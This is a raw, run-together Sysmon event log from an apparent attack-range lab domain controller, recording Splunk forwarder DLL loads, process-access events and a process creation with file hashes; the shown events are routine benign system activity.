Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000051980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000051979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000051978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000051977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000051976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000051975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000051974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.263{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000051973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000051972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000051971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000051970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000051969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000051968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000051967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000051966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000051965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000051964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000051962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000051961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000051960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000051959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000051954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.247{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000051953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:17.248{7BD73061-7301-613B-680B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000052124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.966{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000052123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.964{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.962{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 10341000x800000000000000052121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.903{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52cbf|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52c5a|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52bd6|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+5259d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5f3b1|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+b0354|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5b3dd|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.601{7BD73061-6D0F-613B-9406-00000000F001}44804728C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.579{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.579{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.579{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.579{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000052115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.563{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 